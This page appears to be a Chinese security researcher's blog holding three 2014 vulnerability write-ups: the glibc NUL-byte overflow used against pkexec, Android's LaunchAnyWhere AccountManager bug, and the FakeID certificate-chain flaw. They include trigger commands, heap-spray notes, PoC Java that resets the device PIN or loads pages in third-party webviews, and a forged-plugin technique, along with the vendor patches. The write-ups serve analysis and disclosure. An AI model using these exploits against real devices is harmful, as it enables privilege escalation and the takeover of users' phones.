Retme的未来道具研究所

世界線の収束には、逆らえない

该漏洞的利用技术是Project Zero最近的大作[1],遗憾是有些局限性,我也就没有搭环境调试了,仅学习下思路

可能有错误和理解不到位的地方。本文只是笔记,推荐阅读原文[1]

首先看下源码[2]

      newp = (struct known_trans *) malloc (sizeof (struct known_trans)
                        + (__gconv_max_path_elem_len
                           + name_len + 3)
                        + name_len);
      if (newp != NULL)
    {
      char *cp;

      /* Clear the struct.  */
      memset (newp, '\0', sizeof (struct known_trans));

      /* Store a copy of the module name.  */
      newp->info.name = cp = (char *) (newp + 1);
      cp = __mempcpy (cp, trans->name, name_len);

      newp->fname = cp;

      /* Search in all the directories.  */
      for (runp = __gconv_path_elem; runp->name != NULL; ++runp)
        {
          cp = __mempcpy (__stpcpy ((char *) newp->fname, runp->name),
                  trans->name, name_len);
          if (need_so)
                //nul byte overflow
        memcpy (cp, ".so", sizeof (".so"));

cp是堆上的内存,如此拷贝将可能导致在cp尾部覆盖四字节0x6f732e00 即为".so"

这样做将导致内存破坏,proof如下:

$ CHARSET=//ABCDE pkexec 
*** Error in `pkexec': malloc(): memory corruption: 0x00007f15bc0732d0 ***
*** Error in `pkexec': malloc(): memory corruption: 0x00007f15bc0732d0 ***

绕过ASLR?

据说在Fedora 32-bit上可以直接这样:

  rlim.rlim_cur = rlim.rlim_max = RLIM_INFINITY;
  setrlimit(RLIMIT_STACK, &rlim);
  rlim.rlim_cur = rlim.rlim_max = 1;
  setrlimit(RLIMIT_DATA, &rlim);

绕过后,程序永远从固定基址加载

40000000-40005000 r-xp 00000000 fd:01 9909        /usr/bin/pkexec
406b9000-407bb000 rw-p 00000000 00:00 0           /* mmap() heap */
bfce5000-bfd06000 rw-p 00000000 00:00 0           [stack]

往后复制固定的四字节有什么用?

malloc 内存堆线性排列,类似于 |m| blah1 |m| blah2 |m| blah3

复制四个字节可以覆盖后面一个块的meta data,metadata是一个内存块长度,最后一个字节是flag,0x1代表正在使用,0x0代表已经free,需要回收。而0x6f732e00最后一个字节肯定是NUL byte,所以正好将下一个块堆内存标记为free。

所以如果能溢出blah2,覆盖blah3前面的m,然后坐等blah3回收,那么回收机制将会去m + &blah3的地方找链表进行断链,这时候将得到一次地址写的机会


如何找到一个合适的blah3?

首先选择攻击的目标是pkexec,这个文件有权限提权,pkexec在判断传入的路径不存在时将打出一个error message  这块堆得大小是508bytes + 4bytes metadata

而这个error message 的分配逻辑是这样的:先申请100字节,不满足则在100*2+100 = 300字节,在不满足则申请300*2+100 = 700字节

本例中的申请顺序如下:

malloc(100), malloc(300), free(100), malloc(700), free(300), realloc(508)

内存布局如下:

| free space: 100 |m| free space: 300 |m| error message: 508 bytes |

这时候将CHARSET=//AAAAA…设置为236 bytes 的A,将恰好覆盖到300的free space里面:

| blah |m| blah |m| charset derived value: 236 bytes |m: 0x00000201| error message: 508 bytes |

m = 0x201是指512字节的buffer,并且这段内存在使用中,这个值将在后续利用中改写


接下来如何利用?heap spray

| blah |m| blah |m| charset derived value: 236 bytes |m: 0x6f732e00| error message: 508 bytes |

修改过之后,m指向的内存结尾将指向 0x406xxxxx + 0x6f732e00 ,那么加完后这个值已经进入内核空间了,无法利用

如果能做一个heap spray,把堆内存推到7xxx xxxx上面,那么加完0x6f732e00最终就是一个0x5xxxxxxx的地址,这个地址的内容是spray出来可,可控


pkexec恰好有一个传入参数,没有做内存释放,可用来做heap spray,而且这个 -u 可以传多次,实际上他传了15 million+个 --user 。。。

     else if (strcmp (argv[n], "--user") == 0 || strcmp (argv[n], "-u") == 0)
        {
          n++;
          if (n >= (guint) argc)
            {
              usage (argc, argv);
              goto out;
            }

          opt_user = g_strdup (argv[n]);
        }


最后:

利用链表断链操作写一个地址,向tls_dtor_list. __exit_funcs 写入值以控制代码执行流程


[1] http://googleprojectzero.blogspot.tw/2014/08/the-poisoned-nul-byte-2014-edition.html

[2] https://github.com/lattera/glibc/blob/a2f34833b1042d5d8eeb263b4cf4caaea138c4ad/iconv/gconv_trans.c

[3] https://code.google.com/p/google-security-research/issues/detail?id=96


首发至http://blogs.360.cn/360mobile/2014/08/19/launchanywhere-google-bug-7699048/

前几天在试用gitx这个软件时偶然看到Google修复了一个漏洞,并记为Google Bug 7699048。这是一个AccountManagerService的漏洞,利用这个漏洞,我们可以任意调起任意未导出的Activity,突破进程间组件访问隔离的限制。这个漏洞影响2.3 ~ 4.3的安卓系统。

一.关于AccountManagerService

AccountManagerService同样也是系统服务之一,暴露给开发者的的接口是AccountManager。该服务用于管理用户各种网络账号。这使得一些应用可以获取用户网络账号的token,并且使用token调用一些网络服务。很多应用都提供了账号授权功能,比如微信、支付宝、邮件Google服务等等。关于AccountManager的使用,可以参考官方文档和网络上的开发资料。[1][2]

由于各家账户的登陆方法和token获取机制肯定存在差异,所以AccountManager的身份验证也被设计成可插件化的形式:由提供账号相关的应用去实现账号认证。提供账号的应用可以自己实现一套登陆UI,接收用户名和密码;请求自己的认证服务器返回一个token;将token缓存给AccountManager。

可以从“设置-> 添加账户”中看到系统内可提供网络账户的应用:

如果想要出现在这个页面里,应用需要声明一个账户认证服务AuthenticationService:

<service
       android:name=".authenticator.AuthenticationService"
       android:exported="true">
            <intent-filter>
                <action
                    android:name="android.accounts.AccountAuthenticator" />
            </intent-filter>
            <meta-data
                android:name="android.accounts.AccountAuthenticator"
                android:resource="@xml/authenticator" />
</service>

并且在服务中提供一个Binder

    public IBinder onBind(Intent intent) {
//class Authenticator extends AbstractAccountAuthenticator
        return mAuthenticator.getIBinder();
    }

关于这个类的实现方法可以参考官方sample [3]



二、漏洞原理



普通应用(记为AppA)去请求添加某类账户时,会调用AccountManager.addAccount,然后AccountManager会去查找提供账号的应用(记为AppB)的Authenticator类,调用Authenticator. addAccount方法;AppA再根据AppB返回的Intent去调起AppB的账户登录界面。



这个过程如图所示:

我们可以将这个流程转化为一个比较简单的事实:

1. AppA请求添加一个特定类型的网络账号
2. 系统查询到AppB可以提供一个该类型的网络账号服务,系统向AppB发起请求
3. AppB返回了一个intent给系统,系统把intent转发给appA
4. AccountManagerResponse在AppA的进程空间内调用 startActivity(intent)调起一个Activity,AccountManagerResponse是FrameWork中的代码, AppA对这一调用毫不知情。

这种设计的本意是,AccountManagerService帮助AppA查找到AppB账号登陆页面,并呼起这个登陆页面。而问题在于,AppB可以任意指定这个intent所指向的组件,AppA将在不知情的情况下由AccountManagerResponse调用起了一个Activity. 如果AppA是一个system权限应用,比如Settings,那么AppA能够调用起任意AppB指定的未导出Activity.

Step 3中AppB返回bundle的代码:

public Bundle addAccount(AccountAuthenticatorResponse response, String accountType,
            String authTokenType, String[] requiredFeatures, Bundle options) {
        Intent intent = new Intent();
        intent.setComponent(new ComponentName(
                "com.trick.trick ",
                   " com.trick. trick.AnyWhereActivity"));
        intent.setAction(Intent.ACTION_RUN);
        intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
        final Bundle bundle = new Bundle();
        bundle.putParcelable(AccountManager.KEY_INTENT, intent);
        return bundle;
    }

Step 4  AccountManager在appA进程空间中startActivity的代码

/** Handles the responses from the AccountManager */
private class Response extends IAccountManagerResponse.Stub {
    public void onResult(Bundle bundle) {
        Intent intent = bundle.getParcelable(KEY_INTENT);
        if (intent != null && mActivity != null) {
          // since the user provided an Activity we will silently start intents
          // that we see
          mActivity.startActivity(intent);
            // leave the Future running to wait for the real response to this request
            } else if (bundle.getBoolean("retry")) {
                ...

三.如何利用

上文已经提到过,如果假设AppA是Settings,AppB是攻击程序。那么只要能让Settings触发addAcount的操作,就能够让AppB launchAnyWhere。而问题是,怎么才能让Settings触发添加账户呢?如果从“设置->添加账户”的页面去触发,则需要用户手工点击才能触发,这样攻击的成功率将大大降低,因为一般用户是很少从这里添加账户的,用户往往习惯直接从应用本身登陆。

不过现在就放弃还太早,其实Settings早已经给我们留下触发接口。只要我们调用com.android.settings.accounts.AddAccountSettings,并给Intent带上特定的参数,即可让Settings触发launchAnyWhere:

Intent intent1 = new Intent();
intent1.setComponent(new ComponentName(
        "com.android.settings",
        "com.android.settings.accounts.AddAccountSettings"));
intent1.setAction(Intent.ACTION_RUN);
intent1.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
String authTypes[] = {Constants.ACCOUNT_TYPE};
 
intent1.putExtra("account_types", authTypes);
AuthenticatorActivity.this.startActivity(intent1);

这个过程如图Step 0所示:

四、应用场景

主要的攻击对象还是应用中未导出的Activity,特别是包含了一些intenExtra的Activity。下面只是举一些简单例子。这个漏洞的危害取决于你想攻击哪个Activity,还是有一定利用空间的。比如攻击很多app未导出的webview,结合FakeID或者JavascriptInterface这类的浏览器漏洞就能造成代码注入执行。

1. 重置pin码
绕过pin码认证界面,直接重置手机系统pin码

Intent intent = new Intent();
intent.setComponent(new ComponentName(
        "com.android.settings",
          "com.android.settings.ChooseLockPassword"));
intent.setAction(Intent.ACTION_RUN);
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
intent.putExtra("confirm_credentials",false);
result.putParcelable(AccountManager.KEY_INTENT, intent);



2. 调用微信内置浏览器:

    public final static String HTML2 =
    "<script language=\"javascript\" type=\"text/javascript\">" +
    "window.location.href=\"http://blogs.360.cn\"; " +
"</script>";
 
    @Override
    public Bundle addAccount(AccountAuthenticatorResponse response, String accountType,
            String authTokenType, String[] requiredFeatures, Bundle options) {
        Intent intent = new Intent();
         intent.setComponent(new ComponentName(
                "com.tencent.mm",
                   "com.tencent.mm.plugin.webview.ui.tools.ContactQZoneWebView"));
        intent.setAction(Intent.ACTION_RUN);
        intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
        intent.putExtra("data", HTML2);
        intent.putExtra("baseurl", "http://www.g.cn");
        intent.putExtra("title", "Account bug");
        final Bundle bundle = new Bundle();
        bundle.putParcelable(AccountManager.KEY_INTENT, intent);
        return bundle;
}

3. 调用支付宝钱包内置浏览器:

Intent intent = new Intent();
        intent.setAction(Intent.ACTION_RUN);
        intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
        intent.putExtra("url", "http://drops.wooyun.org/webview.html");
        intent.putExtra("title", "Account bug");
        final Bundle bundle = new Bundle();
        bundle.putParcelable(AccountManager.KEY_INTENT, intent);
        return bundle;

四、漏洞修复

安卓4.4已经修复了这个漏洞[4].检查了Step3中返回的intent所指向的Activity和AppB是否是有相同签名的。避免了luanchAnyWhere的可能。

+        @Override
         public void onResult(Bundle result) {
             mNumResults++;
-            if (result != null && !TextUtils.isEmpty(result.getString(AccountManager.KEY_AUTHTOKEN))) {
+            Intent intent = null;
+            if (result != null
+                    && (intent = result.getParcelable(AccountManager.KEY_INTENT)) != null) {
+                /*
+                 * The Authenticator API allows third party authenticators to
+                 * supply arbitrary intents to other apps that they can run,
+                 * this can be very bad when those apps are in the system like
+                 * the System Settings.
+                 */
+                PackageManager pm = mContext.getPackageManager();
+                ResolveInfo resolveInfo = pm.resolveActivity(intent, 0);
+                int targetUid = resolveInfo.activityInfo.applicationInfo.uid;
+                int authenticatorUid = Binder.getCallingUid();
+                if (PackageManager.SIGNATURE_MATCH !=
+                        pm.checkSignatures(authenticatorUid, targetUid)) {
+                    throw new SecurityException(
+                            "Activity to be started with KEY_INTENT must " +
+                            "share Authenticator's signatures");
+                }
+            }
+            if (result != null
+                    && !TextUtils.isEmpty(result.getString(AccountManager.KEY_AUTHTOKEN))) {

利用代码以及编译好的poc:

https://github.com/retme7/launchAnyWhere_poc_by_retme_bug_7699048

参考

[1] API reference     http://developer.android.com/reference/android/accounts/AccountManager.html

[2] Write your own Android Authenticator       http://udinic.wordpress.com/2013/04/24/write-your-own-android-authenticator/

[3] http://androidxref.com/4.3_r2.1/xref/development/samples/SampleSyncAdapter/src/com/example/android/samplesync/authenticator/Authenticator.java

[4] https://android.googlesource.com/platform/frameworks/base/+/5bab9da%5E%21/#F0


我写的,首发于360技术博客~    http://blogs.360.cn/360mobile/2014/08/04/all-about-fakeid/

BlueBox于7月30日宣布安卓从2010年以来一直存在一个apk签名问题[1],并且会在今年Blackhat上公布细节。

利用该漏洞可以提升权限,突破沙箱限制。我在细节公开之前对这个漏洞进行成功利用,在此分享一些漏洞利用的细节。

一、关于APK签名

安卓APP在发布之前需要进行签名,签名信息被放在apk压缩包的/META-INF目录中。通常出于以下目的,系统会校验这个签名:

-          安装前验证apk中文件数据的完整性。

-          识别apk的身份。如果一个apk有系统签名,会有更高的权限;如果两个apk的签名一致,这两个应用可以共享数据。一些特定场景下一些应用会验证其他应用是否有某个特定签名,比如webkit会验证一个插件程序是否是由Adobe签出。

发布应用之前,使用一个自签名的证书对apk进行签名是可以满足需求的。使用”keytool  –printcert –file  CERT.RSA”命令可以查看证书的详细信息。下图是一个普通的自签名证书。可以看到所有人和签发人是同一个。

 

然而签名文件格式符合RFC2315[2]和RFC2459[3] 的规范,所以这个证书同样可以使由CA颁布的。如果使用一个CA颁布的证书发行APK程序,那么在META-INF目录中的CERT.RSA中可能会存在一个证书链,包含根证书和子证书。

在安卓上我们可以使用如下代码获取到应用内证书链中的所有证书:

sig=packageManager.getPackageInfo(pkgName,PackageManager.GET_PERMISSIONS| PackageManager.GET_SIGNATURES);
 
for(Signature sig : pkginfo.signatures)
 
      Log.d("TEST", sig.toCharsString()+"\n");

二、问题所在

这个漏洞的Google Bug ID 是13678484,从AOSP上的修复代码可以发现问题出现在签名校验的JarVerifier类中[4]。最关键的代码是在JarUtils中,添加了chainCheck的选项,可以对所有证书进行校验。

-    private static X509Certificate findCert(Principal issuer, X509Certificate[] candidates) {
+    private static X509Certificate findCert(Principal issuer, X509Certificate[] candidates,
+            X509Certificate subjectCert, boolean chainCheck) {
         for (int i = 0; i < candidates.length; i++) {
             if (issuer.equals(candidates[i].getSubjectDN())) {
+                if (chainCheck) {
+                    try {
+                        subjectCert.verify(candidates[i].getPublicKey());
+                    } catch (Exception e) {
+                        continue;
+                    }
+                }
                 return candidates[i];
             }
         }

如果没有这句代码会怎样?我们可以这么构造一个恶意证书:

  1. 开发机上生成一个根证书(记为CA),并用这个证书去颁发一个子证书(记为SIGN)
  2. 然后使用这个子证书为我们即将发布的apk签名,这时APK中的.Rsa文件将包含两个证书,一个是SIGN,一个是CA。并且APK所有的文件都是可以用这个RSA文件验证其合法性的
  3. 对这个RSA文件进行篡改,只修改CA证书的内容(替换后的CA记为FakeCA),不修改证书中的SignerInfo部分,不影响PackageManger在安装前使用SignerInfo.encryptedDigest对APK包数据完整性进行校验
  4. 这个APK可以被成功安装,并且包含两个证书,一个是SIGN,一个是FakeCA

 

如果你之前像我一样不了解PKCS7签名文件格式,那么在尝试恶意修改rsa文件时将会遇到一些麻烦,我推荐使用开源项目pyASN1去修改RSA文件。因为这种格式本质上是使用DER编码,使用ASN1做了序列化,使用pyASN1能让我们快速熟悉这种文件格式,并且快速着手进行签名篡改。

我将文件修改代码放到了我的github上[5],注意这不是一份自动篡改证书的工具,内部包含了一些路径和格式的硬编码,你如果想使用这份代码,需要理解代码的意思并做一些修改。

我使用自己写的工具将一个证书篡改成由Adobe颁发的:

三、如何利用

上文已经提到过,PackageManger在安装APK时并不校验证书链上所有证书的合法性,只要存在被指定的SIGN能够校验APK中所有文件的合法性即可。

但是签名证书的另外一个功能,验证身份,则受到了这个漏洞的影响。系统中多处使用getPackageInfo获取安装包证书,如果获取到多个证书,通常认为只要有一个证书可信即可。比如WebKit插件认证adobe flash player插件的逻辑如下[6]

225    private static boolean containsPluginPermissionAndSignatures(PackageInfo pkgInfo) {
226
227        // check if the plugin has the required permissions
228        String permissions[] = pkgInfo.requestedPermissions;
229        if (permissions == null) {
230            return false;
231        }
232        boolean permissionOk = false;
233        for (String permit : permissions) {
234            if (PLUGIN_PERMISSION.equals(permit)) {
235                permissionOk = true;
236                break;
237            }
238        }
239        if (!permissionOk) {
240            return false;
241        }
242
243        // check to ensure the plugin is properly signed
244        Signature signatures[] = pkgInfo.signatures;
245        if (signatures == null) {
246            return false;
247        }
248        if (SystemProperties.getBoolean("ro.secure", false)) {
249            boolean signatureMatch = false;
250            for (Signature signature : signatures) {
251                for (int i = 0; i < SIGNATURES.length; i++) {
252                    if (SIGNATURES[i].equals(signature)) {
253                        signatureMatch = true;
254                        break;
255                    }
256                }
257            }
258            if (!signatureMatch) {
259                return false;
260            }
261        }
262
263        return true;
264    }
265

从这段代码以及PluginManager.java的其他代码,可以看到WebKit是这样认证一个APK是否是Adobe FlashPlayer插件的:

-   APK证书中包含Adobe的签名证书,证书数据写死在代码中(PluginManager. SIGNATURE_1),这是adobe使用的签名

-   APK申请了android.webkit.permission.PLUGIN权限

-   APK声明了一个服务,Intent是android.webkit.PLUGIN,有个meta信息是type,type的值必须是native

在以上要求中唯一强制性限制就是证书验证,使用Fakeid,我们已经绕过了这个限制,其他校验自然不成问题。

在4.4以前,任何使用webview并且在访问了请求flash的页面(比如新浪首页)都会被我们的APK程序注入,下图是2345手机浏览器被注入的情况:

这里可以看到com.example.noperm和com.adobe.flashplayer都被认为是可信插件,成功进行了注入。

但是只是注入成功,我们的代码并没有得到执行机会。我们注入成功是因为webkit调用了PluginManager.getPluginClass将我们之前注册过接收android.webkit.PLUGIN 的服务load起来。但是我们的代码并不会被回调。希望注入代码被回调,还需要我们进一步理解webkit插件开发的规范。

291    /* package */
292    Class<?> getPluginClass(String packageName, String className)
293            throws NameNotFoundException, ClassNotFoundException {
294        Context pluginContext = mContext.createPackageContext(packageName,
295                Context.CONTEXT_INCLUDE_CODE |
296                Context.CONTEXT_IGNORE_SECURITY);
297        ClassLoader pluginCL = pluginContext.getClassLoader();
298        return pluginCL.loadClass(className);
299    }

 四、理解Webkit Plugin,突破沙箱限制执行代码

上文中我们已经看到了webkit调用getPluginClass将我们的apk load到了虚拟机中,但是没有任何代码被触发。

实际上Webkit Plugin的核心是native程序,apk中的java代码仅仅是被JNI调用的。想要触发代码执行,还需要在我们的APK中放一个符合规范的SO文件供Webkit调用

AOSP中恰好有一份浏览器插件的代码[7],所以我们很容易了解插件编写规范。

首先我们需要导出4个接口。

extern "C" {
EXPORT NPError NP_Initialize(NPNetscapeFuncs* browserFuncs, NPPluginFuncs* pluginFuncs, void *java_env);
EXPORT NPError NP_GetValue(NPP instance, NPPVariable variable, void *value);
EXPORT const char* NP_GetMIMEDescription(void);
EXPORT void NP_Shutdown(void);
};

并且在回调函数中告诉浏览器我们是一个Flash插件,这样在Webkit遇到页面的Flash请求时,会加载所有插件libs目录下的so文件并询问他是何种插件.

我们要做的就是告诉浏览器:我是一个flash处理插件。

const char *NP_GetMIMEDescription(void)
{
    return"application/x-shockwave-flash:swf:ShockwaveFlash;application/futuresplash:spl:Futu\
reSplash Player";
}

这样一来我们的SO也被加载了,代码已经突破沙箱执行了:

我将部分关键代码和编译好的poc放到了github上:

https://github.com/retme7/FakeID_poc_by_retme_bug_13678484/

相关链接:

[1] http://bluebox.com/blog/technical/android-fake-id-vulnerability/

[2] https://www.ietf.org/rfc/rfc2315.txt

[3] https://www.ietf.org/rfc/rfc2459

[4] https://android.googlesource.com/platform/libcore/+/android-cts-4.1_r4%5E%21/

[5]https://github.com/retme7/FakeID_poc_by_retme_bug_13678484/

[6]AOSP/frameworks/base/core/java/android/webkit/PluginManager.java

[7]AOSP/frameworks/base/tests/BrowserTestPlugin/